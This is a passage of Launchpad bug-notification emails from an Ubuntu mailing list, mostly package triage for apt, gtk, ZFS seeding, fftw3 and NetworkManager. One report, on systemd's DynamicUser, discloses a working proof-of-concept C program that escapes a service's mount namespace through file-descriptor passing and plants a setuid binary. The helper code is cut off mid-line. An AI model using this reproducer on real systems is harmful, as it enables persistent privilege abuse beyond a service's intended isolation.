Correct would be:

apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
[installed]

[Regression potential]
Behavior of code that only initializes depcache, but not policy will change. 
For example, pinning will be applied in such code (as it is in later versions, 
and should be). This adds some more error cases as well, such as parsing 
failures for preferences files.

** Affects: apt (Ubuntu)
 Importance: Undecided
 Status: Invalid

** Affects: apt (Ubuntu Trusty)
 Importance: Medium
 Status: Triaged

** Also affects: apt (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Changed in: apt (Ubuntu Trusty)
   Status: New => Triaged

** Changed in: apt (Ubuntu)
   Status: New => Invalid

** Changed in: apt (Ubuntu Trusty)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1847496

Title:
  [trusty] policy not always initialized when building depcache

Status in apt package in Ubuntu:
  Invalid
Status in apt source package in Trusty:
  Triaged

Bug description:
  [Impact]
  apt in trusty does not always initialize the policy before constructing the 
depcache. This means that if you access the depcache, it does not respect 
pinning when calculating upgrades.

  This is not a general problem - according to current knowledge, it
  only affects apt list. It does affect any code that requests a
  depCache from pkgCacheFile without having explicitly build caches, or
  explicitly initialized policy (which other parts of apt do).

  
  [Test case]

  1. Add deb https://esm.ubuntu.com/ubuntu/ trusty-infra-security main to 
sources.list
  2. Pin it down

  Package: *
  Pin: release trusty-infra-security
  Pin-Priority: -1

  3. Look at apt list apport

  Currently it shows:

  apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
  [installed,upgradable to: 2.14.1-0ubuntu3.29]

  because when calculating whether the package is upgradable, it did not
  see the pinning.

  Correct would be:

  apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
  [installed]

  [Regression potential]
  Behavior of code that only initializes depcache, but not policy will change. 
For example, pinning will be applied in such code (as it is in later versions, 
and should be). This adds some more error cases as well, such as parsing 
failures for preferences files.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1847496/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847493] [NEW] recentmanager crashed with signal 5 in _g_log_abort()

[Laurent Bonnaud]

Public bug reported:

recentmanager crashed while I was running gnome-desktop-testing-runner

ProblemType: Crash
DistroRelease: Ubuntu 19.10
Package: gtk-3-examples 3.24.12-1ubuntu1
Uname: Linux 5.3.5-050305-generic x86_64
ApportVersion: 2.20.11-0ubuntu7
Architecture: amd64
CurrentDesktop: KDE
Date: Wed Oct  9 11:44:28 2019
ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
Signal: 5
SourcePackage: gtk+3.0
StacktraceTop:
 _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
 g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
 g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
 g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, fields=0x7ffd694bb840, 
n_fields=6) at ../../../glib/gmessages.c:1898
 g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
Title: recentmanager crashed with signal 5 in _g_log_abort()
UpgradeStatus: No upgrade log present (probably fresh install)
UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
separator:

** Affects: gtk+3.0 (Ubuntu)
 Importance: Medium
 Status: New


** Tags: amd64 apport-crash eoan

** Attachment removed: "JournalErrors.txt"
   
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+attachment/5295975/+files/JournalErrors.txt

** Information type changed from Private to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847493

Title:
  recentmanager crashed with signal 5 in _g_log_abort()

Status in gtk+3.0 package in Ubuntu:
  New

Bug description:
  recentmanager crashed while I was running gnome-desktop-testing-runner

  ProblemType: Crash
  DistroRelease: Ubuntu 19.10
  Package: gtk-3-examples 3.24.12-1ubuntu1
  Uname: Linux 5.3.5-050305-generic x86_64
  ApportVersion: 2.20.11-0ubuntu7
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct  9 11:44:28 2019
  ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
  ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
  Signal: 5
  SourcePackage: gtk+3.0
  StacktraceTop:
   _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
   g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
   g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
   g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, 
fields=0x7ffd694bb840, n_fields=6) at ../../../glib/gmessages.c:1898
   g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
  Title: recentmanager crashed with signal 5 in _g_log_abort()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846506] Re: autopkgtest fail in Eoan

[Andreas Hasenack]

The python-azure test failed in bileto in the same way, so it can be
used to further troubleshoot this issue. My first attempt would be to
unset the http_proxy variable, or set it to localhost so connections
fail, and see what happens.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python3-defaults in
Ubuntu.
https://bugs.launchpad.net/bugs/1846506

Title:
  autopkgtest fail in Eoan

Status in python-azure package in Ubuntu:
  New
Status in python-cryptography package in Ubuntu:
  Invalid
Status in python3-defaults package in Ubuntu:
  Invalid

Bug description:
  The python-azure autopkgtest is failing on Eoan, currently blocking
  the migration of:

   - python-cryptography
   - python-defaults

  I had a look at the test log but it's not clear to me where the
  problem is. The autopkgtest history suggests that the failure is not
  actually caused by the two packages held in the migration queue. The
  python-azure autopkgtest is python3-only.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python-azure/+bug/1846506/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Launchpad Bug Tracker]

This bug was fixed in the package ubuntu-mate-meta - 1.256

---
ubuntu-mate-meta (1.256) eoan; urgency=medium

  * Refreshed dependencies
  * Added zfs-initramfs to core-recommends [amd64 arm64 ppc64el s390x],
desktop-recommends [amd64 arm64 ppc64el s390x] (LP: #1847431)
  * Added zsys to core-recommends [amd64 arm64 armhf i386 ppc64el],
desktop-recommends [amd64 arm64 armhf i386 ppc64el]

 -- Martin Wimpress   Wed, 09 Oct 2019
13:10:44 +0100

** Changed in: ubuntu-mate-meta (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  Fix Released
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  Fix Committed

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814596] Re: DynamicUser can create setuid binaries when assisted by another process

[Balint Reczey]

This is fixed in systemd 242 present in Eoan.
@seth-arnold Please target to releases to which the fix should be backported 
according to Security Team's opinion.

** Changed in: systemd (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814596

Title:
  DynamicUser can create setuid binaries when assisted by another
  process

Status in systemd package in Ubuntu:
  Fix Released

Bug description:
  [I am sending this bug report to Ubuntu as requested by systemd at
  
.]

  This bug report describes a bug in systemd that allows a service with
  DynamicUser in collaboration with another service or user to create a setuid
  binary that can be used to access its UID beyond the lifetime of the service.
  This bug probably has relatively low severity, given that there aren't many
  services yet that use DynamicUser, and the requirement of collaboration with
  another process limits the circumstances in which it would be useful to an
  attacker further; but in a system that makes heavy use of DynamicUser, it 
would
  probably have impact.

  

  says:

  In order to allow the service to write to certain directories, they have 
to
  be whitelisted using ReadWritePaths=, but care must be taken so that 
UID/GID
  recycling doesn't create security issues involving files created by the
  service.

  While I was chatting about DynamicUser with catern on IRC, I noticed that
  DynamicUser doesn't isolate the service from the rest of the system in terms 
of
  UNIX domain sockets; therefore, if a collaborating user passes a file 
descriptor
  to a world-writable path outside the service's mount namespace into the
  service, the service can then create setuid files that can be used by the
  collaborating user beyond the lifetime of the service.

  
  To reproduce:

  As a user:
  ==
  user@deb10:~$ mkdir systemd_uidleak
  user@deb10:~$ cd systemd_uidleak
  user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
setbuf(stdout, NULL);

// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
  err(1, "unable to bind abstract socket");
puts("waiting for connection from outside the service...");

// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
  .msg_control = hdr,
  .msg_controllen = len
};
if (recvmsg(s, &msg, 0) < 0) err(1, "unable to receive fd");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
  errx(1, "got bad message");
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real 
root");
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
printf("chdir successful, am now in %s\n", curpath);

// create suid file
int src_fd = open("suid_src", O_RDONLY);
if (src_fd == -1) err(1, "open suid_src");
int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, "open suid_dst");

while (1) {
  char buf[1000];
  ssize_t res = read(src_fd, buf, sizeof(buf));
  if (res == -1) err(1, "read");
  if (res == 0) break;
  ssize_t res2 = write(dst_fd, buf, res);
  if (res2 != res) err(1, "write");
}

if (fchmod(dst_fd, 04755)) err(1, "fchmod");
close(src_fd);
close(dst_fd);

// and that's it!
puts("done!");
while (1) pause();
return 0;
  }
  user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
  user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int rootfd = open(".", O_PATH);
if (rootfd < 0) err(1, "unable to open cwdfd");
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
  err(1, "unable to connect to abstract

[Touch-packages] [Bug 1812143] Re: gsettings-desktop-schemas 3.31 breaks mutter 3.30

[Launchpad Bug Tracker]

This bug was fixed in the package ukwm - 1.1.13-0ubuntu1

---
ukwm (1.1.13-0ubuntu1) eoan; urgency=medium

  [ Liu Yi ]
  * Bugfix only:
- Update to new "output" setting for tablets/touchscreens. (LP: #1812143)
- Fix bug when use win+p with multi-monitors. (LP: #1828984)
- Modify window tiling preview for UKUI.

  [ handsome_feng ]
  * Fix a typo.
  * Fix some lintian warnings.
  * Debian/control:
- Bump standards version to 4.4.1.
- Drop zenity from build-dep.

 -- handsome_feng   Mon, 07 Oct 2019
22:48:33 +0800

** Changed in: ukwm (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gsettings-desktop-schemas
in Ubuntu.
https://bugs.launchpad.net/bugs/1812143

Title:
  gsettings-desktop-schemas 3.31 breaks mutter 3.30

Status in gsettings-desktop-schemas package in Ubuntu:
  Fix Released
Status in mutter package in Ubuntu:
  Triaged
Status in ukwm package in Ubuntu:
  Fix Released

Bug description:
  We need to package mutter 3.31 and add a Breaks: mutter < 3.31 to
  gsettings-desktop-schemas.

  Running gsettings-desktop-schemas 3.31 with mutter 3.30 will result in
  gdm/gnome-shell being unable to start.

  Also, ukwm is a fork of mutter so the Kylin devs need to backport the
  relevant commits from mutter.

  The problematic gsettings commit was:
  https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/commit/c7eee129c

  I think the mutter commits can be found at
  https://gitlab.gnome.org/GNOME/mutter/merge_requests/133

  We could easily add a dummy key with the old name but I'm thinking the
  way forward is just to package the newer mutter.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gsettings-desktop-schemas/+bug/1812143/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Erich Eickmeyer]

** Changed in: ubuntustudio-meta (Ubuntu)
   Status: New => Fix Committed

** Changed in: ubuntustudio-meta (Ubuntu)
 Assignee: (unassigned) => Erich Eickmeyer (eeickmeyer)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  Fix Committed
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  Fix Committed

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1843733] Re: fftw3 ftbfs in eoan (armhf only)

[Daniel van Vugt]

Also without Valgrind the above command does not crash at all on armhf
for me. So I'm now working on the theory this bug is a consequence of
the deb's custom build flags, which includes neon supporting the idea in
comment #3.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fftw3 in Ubuntu.
https://bugs.launchpad.net/bugs/1843733

Title:
  fftw3 ftbfs in eoan (armhf only)

Status in FFTW:
  Unknown
Status in fftw3 package in Ubuntu:
  Confirmed
Status in fftw3 source package in Eoan:
  Confirmed

Bug description:
  fftw3 ftbfs in eoan (armhf only).

  https://launchpadlibrarian.net/441265031/buildlog_ubuntu-eoan-
  armhf.fftw3_3.3.8-2_BUILDING.txt.gz

  ( cd tests ; /usr/bin/make smallcheck )
  make[1]: Entering directory '/<>/tests'
  perl -w ./check.pl -r -c=1 -v `pwd`/bench
  Executing "/<>/tests/bench --verbose=1   --verify 
'ok7e10x12bv29' --verify 'ik7e10x12bv29' --verify '//obr2304' --verify 
'//ibr2304' --verify '//ofr2304' --verify '//ifr2304' --verify 'obr2304' 
--verify 'ibr2304' --verify 'ofr2304' --verify 'ifr2304' --verify '//obc2304' 
--verify '//ibc2304' --verify '//ofc2304' --verify '//ifc2304' --verify 
'obc2304' --verify 'ibc2304' --verify 'ofc2304' --verify 'ifc2304'"
  ok7e10x12bv29 1.71318e-07 1.44516e-06 2.00887e-07
  ik7e10x12bv29 1.66737e-07 1.44901e-06 1.76717e-07
  Segmentation fault (core dumped)
  FAILED /<>/tests/bench:  --verify 'ok7e10x12bv29' --verify 
'ik7e10x12bv29' --verify '//obr2304' --verify '//ibr2304' --verify '//ofr2304' 
--verify '//ifr2304' --verify 'obr2304' --verify 'ibr2304' --verify 'ofr2304' 
--verify 'ifr2304' --verify '//obc2304' --verify '//ibc2304' --verify 
'//ofc2304' --verify '//ifc2304' --verify 'obc2304' --verify 'ibc2304' --verify 
'ofc2304' --verify 'ifc2304'
  make[1]: *** [Makefile:723: smallcheck] Error 1
  make[1]: Leaving directory '/<>/tests'

To manage notifications about this bug go to:
https://bugs.launchpad.net/fftw3/+bug/1843733/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1843733] Re: fftw3 ftbfs in eoan (armhf only)

[Daniel van Vugt]

When I build the native armhf tarball on armhf and then run the same
command I find many different bugs:

$ valgrind ./bench --verify ofr108*118
...
==27624== ERROR SUMMARY: 8257294 errors from 859 contexts (suppressed: 0 from 0)

This is why I was reluctant to use Valgrind. Because more often than not
a project will be full of errors other than the one you're looking for,
and Valgrind will report them all.

I'm not yet sure the error in comment #3 is the error we are looking for
in this bug. Although if it's the only error you get from a deb build
then it does seem more likely. It will take me another day or so to
confirm.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fftw3 in Ubuntu.
https://bugs.launchpad.net/bugs/1843733

Title:
  fftw3 ftbfs in eoan (armhf only)

Status in FFTW:
  Unknown
Status in fftw3 package in Ubuntu:
  Confirmed
Status in fftw3 source package in Eoan:
  Confirmed

Bug description:
  fftw3 ftbfs in eoan (armhf only).

  https://launchpadlibrarian.net/441265031/buildlog_ubuntu-eoan-
  armhf.fftw3_3.3.8-2_BUILDING.txt.gz

  ( cd tests ; /usr/bin/make smallcheck )
  make[1]: Entering directory '/<>/tests'
  perl -w ./check.pl -r -c=1 -v `pwd`/bench
  Executing "/<>/tests/bench --verbose=1   --verify 
'ok7e10x12bv29' --verify 'ik7e10x12bv29' --verify '//obr2304' --verify 
'//ibr2304' --verify '//ofr2304' --verify '//ifr2304' --verify 'obr2304' 
--verify 'ibr2304' --verify 'ofr2304' --verify 'ifr2304' --verify '//obc2304' 
--verify '//ibc2304' --verify '//ofc2304' --verify '//ifc2304' --verify 
'obc2304' --verify 'ibc2304' --verify 'ofc2304' --verify 'ifc2304'"
  ok7e10x12bv29 1.71318e-07 1.44516e-06 2.00887e-07
  ik7e10x12bv29 1.66737e-07 1.44901e-06 1.76717e-07
  Segmentation fault (core dumped)
  FAILED /<>/tests/bench:  --verify 'ok7e10x12bv29' --verify 
'ik7e10x12bv29' --verify '//obr2304' --verify '//ibr2304' --verify '//ofr2304' 
--verify '//ifr2304' --verify 'obr2304' --verify 'ibr2304' --verify 'ofr2304' 
--verify 'ifr2304' --verify '//obc2304' --verify '//ibc2304' --verify 
'//ofc2304' --verify '//ifc2304' --verify 'obc2304' --verify 'ibc2304' --verify 
'ofc2304' --verify 'ifc2304'
  make[1]: *** [Makefile:723: smallcheck] Error 1
  make[1]: Leaving directory '/<>/tests'

To manage notifications about this bug go to:
https://bugs.launchpad.net/fftw3/+bug/1843733/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[fossfreedom]

** Changed in: ubuntu-budgie-meta (Ubuntu)
   Importance: Undecided => Medium

** Changed in: ubuntu-budgie-meta (Ubuntu)
 Assignee: (unassigned) => fossfreedom (fossfreedom)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  Fix Committed
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Martin Wimpress]

** Changed in: ubuntu-mate-meta (Ubuntu)
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  Fix Committed
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Martin Wimpress]

** Changed in: ubuntu-mate-meta (Ubuntu)
   Status: New => In Progress

** Changed in: ubuntu-mate-meta (Ubuntu)
   Importance: Undecided => Medium

** Changed in: ubuntu-mate-meta (Ubuntu)
 Assignee: (unassigned) => Martin Wimpress (flexiondotorg)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  In Progress
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Giraffe]

Relevant commit made upstream:
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Fix Committed

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Launchpad Bug Tracker]

This bug was fixed in the package ubiquity - 19.10.17

---
ubiquity (19.10.17) eoan; urgency=medium

  * scripts/zsys-setup: Do not install zfsutils-linux and zfs-initramfs now
that they are seeded on the image (LP: #1847431)

 -- Jean-Baptiste Lallement 
Wed, 09 Oct 2019 09:50:59 +0200

** Changed in: ubiquity (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  New
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Launchpad Bug Tracker]

This bug was fixed in the package ubuntu-meta - 1.438

---
ubuntu-meta (1.438) eoan; urgency=medium

  * Refreshed dependencies
  * Added zfs-initramfs to desktop-minimal-recommends [amd64 arm64
ppc64el s390x], desktop-recommends [amd64 arm64 ppc64el s390x]
(LP: #1847431)

 -- Didier Roche   Wed, 09 Oct 2019 09:24:31 +0200

** Changed in: ubuntu-meta (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  New
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  New
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Martin Wimpress]

** Also affects: ubuntu-budgie-meta (Ubuntu)
   Importance: Undecided
   Status: New

** Also affects: ubuntustudio-meta (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  New
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  New
Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
